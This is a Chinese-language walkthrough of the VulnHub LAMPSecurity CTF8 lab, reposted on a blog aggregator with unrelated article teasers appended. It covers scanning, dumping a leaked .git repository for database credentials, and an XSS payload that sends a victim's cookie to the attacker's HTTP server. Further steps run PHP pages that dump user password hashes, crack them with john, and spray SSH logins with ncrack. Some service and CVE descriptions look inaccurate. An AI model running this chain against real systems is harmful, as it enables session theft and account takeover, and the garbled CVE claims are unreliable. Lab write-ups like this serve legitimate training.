LAMPSecurity: CTF8靶場滲透

LAMPSecurity: CTF8

來自 <https://www.vulnhub.com/entry/lampsecurity-ctf8,87/>

1,將兩臺虛擬機網絡連接都改為NAT模式

2,攻擊機上做namp局域網掃描發現靶機

nmap -sn 192.168.23.0/24

那么攻擊機IP為192.168.23.128,靶場IP192.168.23.141

3,對靶機進行端口服務探測

nmap -sV -T4 -p- -A 192.168.23.141

1. 文件傳輸服務:21/tcp(FTP)

  • 服務版本:vsftpd 2.0.5(2007 年發布,超 15 年歷史的老舊版本)
  • 關鍵配置:
    • 允許匿名登錄(FTP 代碼 230,無需賬號密碼即可訪問)
    • 存在公開目錄?pub(權限?drwxr-xr-x,所有人可讀可執行)
  • 風險:匿名登錄可能導致敏感文件泄露;vsftpd 2.0.5 存在已知漏洞(如 CVE-2011-0762,雖非遠程代碼執行,但可能被用于信息收集或弱口令爆破)。

2. 遠程管理服務:22/tcp(SSH)

  • 服務版本:OpenSSH 4.3(2006 年發布,極度老舊)
  • 密鑰信息:
    • DSA 密鑰(1024 位,已不符合現代安全標準,易被破解)
    • RSA 密鑰(2048 位,雖長度合規,但依賴的 OpenSSH 版本存在高危漏洞)
  • 風險:OpenSSH 4.3 存在多個遠程漏洞(如 CVE-2008-1483,遠程代碼執行;CVE-2016-10012,權限提升),攻擊者可直接利用漏洞獲取系統權限。

3. 郵件服務:25/tcp(SMTP)、110/tcp(POP3)、143/tcp(IMAP)、993/tcp(SSL/IMAP)、995/tcp(SSL/POP3)

  • 核心組件:
    • SMTP:Sendmail 2.0.0(配置簡單,無認證防護,易被用于發送垃圾郵件)
    • POP3/IMAP:Dovecot imapd(SSL 證書已過期超 10 年:有效期 2013.05.29-2014.05.29)
  • 關鍵風險:
    • SSL 證書過期:加密通信無效,數據(如郵件密碼)可能被中間人劫持
    • 支持SSLv2 協議(已被廢棄的不安全協議,存在 POODLE 等漏洞,易被破解加密)
    • SMTP 無認證:可能成為 “垃圾郵件中繼站”,導致 IP 被黑名單封禁

4. Web 服務:80/tcp(HTTP)、443/tcp(HTTPS)

  • 服務版本:Apache httpd 2.2.3(2006 年發布,存在大量未修復漏洞)
  • 網站特征:
    • 標題 “LAMPSecurity Research”,推測為LAMPSecurity 靶場環境(用于滲透測試學習,但若為生產環境則風險極高)
    • 內容管理系統(CMS):Dovecot(通過 favicon 識別)
    • 暴露Git 倉庫(路徑?/.git/),包含 “initial commit” 提交記錄
    • robots.txt?禁止訪問 36 個路徑(如/includes/、/modules/),但 Git 倉庫暴露可能泄露源碼
  • 風險:
    • Apache 2.2.3 存在高危漏洞(如 CVE-2011-3192,遠程代碼執行;CVE-2007-6750,目錄遍歷)
    • Git 倉庫泄露:攻擊者可下載完整源碼,分析代碼邏輯尋找 SQL 注入、文件上傳等漏洞
    • HTTPS 證書過期(2013.05.29-2014.05.29),加密無效

5. 數據庫服務:3306/tcp(MySQL)

  • 服務狀態:開放但 “未授權訪問”(掃描提示unauthorized)
  • 風險:雖當前拒絕匿名訪問,但 MySQL 若使用弱口令(如root/123456),易被暴力破解;且老舊系統可能搭配低版本 MySQL(如 5.0.x),存在遠程代碼執行漏洞(如 CVE-2016-6662)。

6. 遠程桌面服務:5801-5804/tcp(VNC-HTTP)、5901-5904/tcp(VNC)、6001-6004/tcp(X11)

  • 服務版本:RealVNC 4.0(2005 年發布,老舊版本)
  • 關鍵配置:
    • VNC 使用 “VNC Authentication” 認證(僅基于密碼,無二次驗證)
    • X11 服務開放(Linux 圖形界面遠程訪問),但提示 “access denied”(當前拒絕訪問,風險較低)
  • 風險:
    • RealVNC 4.0 存在密碼破解漏洞(弱口令易被爆破,如默認密碼password)
    • 同時開放 4 個 VNC 實例(5901-5904),擴大攻擊面,若其中一個密碼泄露則整機淪陷

7. 文件共享服務:139/tcp、445/tcp(Samba)

  • 服務版本:Samba 3.0.33-3.7.el5(2007 年左右版本,適配 CentOS 5)
  • 關鍵配置:
    • 工作組:WORKGROUP(默認工作組,無自定義防護)
    • 安全模式:message_signing: disabled(禁用消息簽名,易被中間人攻擊)
    • SMB2 協議協商失敗,僅支持老舊的 SMB1 協議(存在永恒之藍等漏洞)
  • 風險:Samba 3.0.x 存在高危漏洞(如 CVE-2007-2447,遠程代碼執行;CVE-2017-7494,文件上傳漏洞),攻擊者可利用漏洞獲取系統權限。

8. 其他服務:111/tcp(rpcbind)、869/tcp(status)

  • rpcbind:負責 RPC 服務端口映射,無直接漏洞,但可能被用于探測內網其他 RPC 服務(如 NFS)
  • status:RPC 狀態服務(端口 869),僅用于內部狀態查詢,風險較低

4,訪問80端口開設的http服務

存在一個登錄頁面,再掃描其子目錄看看

gobuster dir -u http://192.168.23.141/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

再掃描識別網站指紋特征

whatweb -v http://192.168.23.141

查看頁面源碼得到第一個flag

5,掃出來一些敏感目錄

dirsearch -u http://192.168.23.141 -x 404,403

http://192.168.23.141/phpinfo.php

得到第二個flag

view-source:http://192.168.23.141/tracker

得到第三個flag

http://192.168.23.141/robots.txt

第四個flag

http://192.168.23.141/profile 得到一堆用戶名,可作為賬號名字典

6,注意到存在git源碼泄露,可以使用工具進行利用

export https_proxy="http://192.168.99.89:7897"??

git clone https://github.com/lijiejie/GitHack.git

cd GitHack

python GitHack.py http://192.168.23.141/.git/

cat 192.168.23.141/sites/default/settings.php

由此知道數據庫用戶名及密碼:root/JumpUpAndDown,數據庫名:drupal

7,使用nikto掃描web漏洞信息

nikto -h 192.168.23.141

可能存在XSS漏洞,嘗試利用之

不存在抗點擊劫持的X-Frame-Options標頭。

X-XSS-Protection頭沒有定義。此header可以提示用戶代理防止某些形式的XSS

沒有設置X-Content-Type-Options標頭。這可以讓用戶代理以一種不同于MIME類型的方式呈現網站內容

8,先注冊一個賬戶

http://192.168.23.141/user/register

注冊成功。尋找推送帖子的Barbara,在其發布的帖子的評論框內插入xss?payload:

<script>alert(/xss/)</script>

證明存在XSS漏洞,那么就可以寫一個payload竊取cookie

<script>

var request=new XMLHttpRequest();

var redirect_url="http://192.168.23.128:8000/"+document.cookie;

request.open("GET",redirect_url);

request.send();

</script>

kali需要一直開啟一個http服務接收cookie

python -m http.server

回到http://192.168.182.128/tracker,點擊Barbara,點擊Contact

隨便找個理由讓她點進這個頁面:

http://192.168.23.141/content/lampsec-point-security-available#comment-4

先編輯好發送郵件。這里就會接收到barbara的cookie,在瀏覽器開發者模式進行替換就能變成barbara用戶

9,該用戶擁有對網站查看的權限,懷疑存在代碼執行漏洞,直接反彈shell失敗。但是可以在網頁執行PHP代碼實現脫庫

創建PHP頁面來獲取數據庫所有表名:

<?php

$result = db_query('select table_name from information_schema.tables');

while($test = mysqli_fetch_object($result)){

print_r($test->table_name."<br/>");

}

?>

回顯出各種數據表名

創建PHP頁面來獲取數據庫所有表名:

<?php

$result = db_query('show tables');

while($test = mysqli_fetch_array($result)){

print_r($test[0]."<br/>");

}

?>

回顯出drupal數據庫中的表名

創建PHP頁面來獲取users表中有哪些字段:

<?php

$result = db_query('select * from users');

while($test = mysqli_fetch_object($result)){

print_r($test);

}

?>

回顯出drupal數據庫中users表中的字段名。

創建PHP頁面來獲取users表中name和pass字段:

<?php

$result = db_query('select name,pass from users');

while($test = db_fetch_object($result))

{

print $test->name . ":" . $test->pass . "<br/>";

}

?>

數據回顯成功

10,用戶名密碼寫入字典,然后進行解密

john -w=/usr/share/wordlists/rockyou.txt -form=raw-md5 /root/user.txt

然后分別建立user.txt和passwd.txt進行密碼噴射以得到正確賬戶密碼

ncrack -p 22 -U user.txt -P passwd.txt 192.168.23.141

login: bdio?? password: passw0rd

login: spinkton?? password: football123

login: jharraway?? password: letmein!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/96164.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/96164.shtml
英文地址,請注明出處:http://en.pswp.cn/web/96164.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

綠算技術閃耀智博會 賦能鄉村振興與產業升級

9月5日至7日&#xff0c;由寧波市人民政府、浙江省經濟和信息化廳、中國信息通信研究院聯合主辦的第十五屆智慧城市與智能經濟博覽會在寧波國際會展中心圓滿落幕。綠算技術受邀參展&#xff0c;并發布與北京東方聯鳴科技發展有限公司聯合打造的《360數智牧業AI模型支撐底座》&a…

淺談“SVMSPro視頻切片”技術應用場景

技術定義視頻切片是一項將連續不斷的視頻流&#xff0c;按特定規則&#xff08;如時間點、事件觸發&#xff09;切割成一個個獨立、完整的MP4等標準視頻文件的技術。這些切片文件體積小、格式通用&#xff0c;易于管理、傳輸和播放。核心價值精準存檔&#xff1a;從海量錄像中精…

php 使用html 生成pdf word wkhtmltopdf 系列1

php 使用html 生成pdf word wkhtmltopdf 系列2 php 使用html 生成 pdf word 項目有個需求 想同時生成word 和pdf 并且對pdf要求比較高 為了一勞永逸 決定寫成html 分別轉成word 和pdf 系統環境 windows10 小皮面板&#xff08;php8&#xff09; linux centos 7.9 寶塔&…

Git常用命令大全:高效開發必備

目錄 常用Git命令清單 1. 新建代碼庫 2. 配置 3. 增加/刪除文件 4. 代碼提交 5. 分支 6. 標簽 7. 查看信息 8. 遠程同步 9. 撤銷 10. 常用操作組合 修改本地分支名和遠程分支名 附錄&#xff1a;Git命令思維導圖 安裝gitlab 常用Git命令清單 一般來說&#xff0…

AJAX入門-URL

本系列可作為前端學習系列的筆記&#xff0c;代碼的運行環境是在VS code中&#xff0c;小編會將代碼復制下來&#xff0c;大家復制下來就可以練習了&#xff0c;方便大家學習。 HTML、CSS、JavaScript系列文章 已經收錄在前端專欄&#xff0c;有需要的寶寶們可以點擊前端專欄查…

【深度學習新浪潮】什么是具身智能?

具身智能(Embodied AI)是人工智能與機器人技術深度融合的前沿領域,其核心是通過物理實體與環境的實時交互閉環,實現感知-認知-決策-行動的一體化自主進化。這類系統不僅能理解語言指令,更能通過高精度傳感器(如觸覺、視覺、力覺融合)感知物理世界,依托多模態大模型完成…

動畫藍圖與動畫狀態機:從 Unity Mecanim 到 Unreal Animation Blueprint 的一把梭

動畫藍圖與動畫狀態機&#xff1a;從 Unity Mecanim 到 Unreal Animation Blueprint 的一把梭這篇是系列的第一篇。目標很簡單&#xff1a;把 Unreal 的 Animation Blueprint 和 Unity 的 Animator Controller&#xff08;Mecanim&#xff09; 放在同一張桌子上&#xff0c;系統…

實戰案例:數字孿生+可視化大屏,如何高效管理智慧能源園區?

摘要&#xff1a; 當智慧遇上能源&#xff0c;一場管理革命正在悄然發生。想象一下&#xff1a;一個占地千畝的能源園區&#xff0c;光伏板、儲能站、風力機組星羅棋布&#xff0c;傳統管理模式下&#xff0c;數據分散、響應滯后、故障頻發... 但某園區引入“數字孿生可視化大屏…

Django 從環境搭建到第一個項目

作為一名剛接觸 Django 的開發者&#xff0c;我在學習過程中整理了這份入門筆記&#xff0c;涵蓋 Django 框架基礎、環境搭建、第一個項目創建以及核心配置&#xff0c;希望能為同樣剛入門的小伙伴提供清晰的學習思路。 一、Django 框架基礎認知 在開始實際操作前&#xff0c…

機器學習實操項目02——Pandas入門(基本操作、創建對象、查看數據、數據選擇、處理缺失數據、數據合并、數據分組、時間序列、繪圖、文件導出)

上一章&#xff1a;機器學習實操項目01——Numpy入門&#xff08;基本操作、數組形狀操作、復制與試圖、多種索引技巧、線性代數&#xff09; 下一章&#xff1a; 機器學習核心知識點目錄&#xff1a;機器學習核心知識點目錄 機器學習實戰項目目錄&#xff1a;【從 0 到 1 落地…

springboot超市貨品信息管理系統

開發環境開發語言&#xff1a;Java 框架&#xff1a;springboot JDK版本&#xff1a;JDK1.8 服務器&#xff1a;tomcat7 數據庫&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09; 數據庫工具&#xff1a;Navicat11 開發軟件&#xff1a;eclipse/myeclipse/idea Mave…

c# .net中using的使用

using示例代碼 示例代碼1&#xff1a; using HttpContent httpContent new StringContent(postData, Encoding.UTF8);示例代碼2&#xff1a; using (var process Process.Start(info)) {output process.StandardOutput.ReadToEnd(); }示例代碼1寫法&#xff1a; using HttpC…

STM32HAL 快速入門(二十):UART 中斷改進 —— 環形緩沖區解決數據丟失

前言 大家好&#xff0c;這里是 Hello_Embed。上一篇我們用中斷方式實現了 UART 收發&#xff0c;但發現一個關鍵問題&#xff1a;若 CPU 在處理其他任務時未及時重新使能接收中斷&#xff0c;新數據會覆蓋舊數據&#xff0c;導致丟失。本篇的核心改進方案是 ——“中斷接收 環…

使用Docker搭建MaxKB智能體平臺

1、系統要求 詳見&#xff1a; https://maxkb.cn/docs/v2/quick_start https://maxkb.cn/docs/v2/installation/offline_installtion https://maxkb.cn/docs/v2/installation/online_installtion 2、安裝Docker 合集&#xff1a;Docker安裝與使用 3、安裝MaxKB 詳見&#xf…

寵物電商痛點破解:智能客服的關鍵作用

在寵物電商蓬勃發展的當下&#xff0c;行業面臨著諸多痛點。從客戶咨詢的高頻率到訂單處理的復雜性&#xff0c;每一個環節都可能成為制約發展的瓶頸。而智能客服的出現&#xff0c;為這些痛點提供了有效的解決方案&#xff0c;成為寵物電商行業不可或缺的助力。一、寵物電商的…

基于GraphRAG+Ollama驗證知識圖譜和檢索增強融合

之前介紹了知識圖譜與檢索增強的融合探索GraphRAG。 https://blog.csdn.net/liliang199/article/details/151189579 這里嘗試在CPU環境&#xff0c;基于GraphRAGOllama&#xff0c;驗證GraphRAG構建知識圖譜和檢索增強查詢過程。 1 環境安裝 1.1 GraphRAG安裝 在本地cpu環境…

36頁可編輯PPT | 某制造集團燈塔工廠解決方案

制造業企業訂單種類多&#xff0c;傳統產線換型慢&#xff0c;庫存高&#xff0c;財務壓力大。工人年齡大&#xff0c;招工難&#xff0c;工資漲&#xff0c;效率低。海外對手用低價和柔性產線搶單&#xff0c;國內同行用數字化縮短交期。企業想擴產&#xff0c;又怕投資重、回…

Redis 非緩存核心場景及實例說明

Redis 非緩存核心場景及實例說明 一、分布式鎖 分布式鎖用于解決分布式系統中多節點競爭同一資源的問題&#xff0c;確保操作原子性。Redis 實現分布式鎖的核心思路是利用鍵的唯一性和原子命令&#xff0c;通常基于 Redisson 框架簡化實現&#xff08;底層依賴 Redis 命令&…

【技術教程】如何將ONLYOFFICE文檔集成到使用Spring Boot框架編寫的Java Web應用程序中

在現代協作辦公環境中&#xff0c;將功能強大的文檔編輯器無縫集成到自有業務系統中&#xff0c;已成為提升工作效率和用戶體驗的關鍵需求。ONLYOFFICE 文檔服務器提供了一套成熟的在線文檔編輯解決方案&#xff0c;而 Java Spring Boot 則是構建高效、模塊化 Web 應用的熱門框…

openharmony之AV_CodeC音視頻編解碼模塊詳解(二)

1. 音頻解碼器函數調用流程 1.1 音頻解碼器架構概覽 decoder:解碼器 encoder:編碼器 前面文章介紹了關于openHarmony的AV_CodeC模塊,這篇文章將詳細講解編解碼時函數的調用流程 音頻解碼器采用插件化架構,核心實現位于: services/engine/codec/audio/decoder/audio_ffmpeg…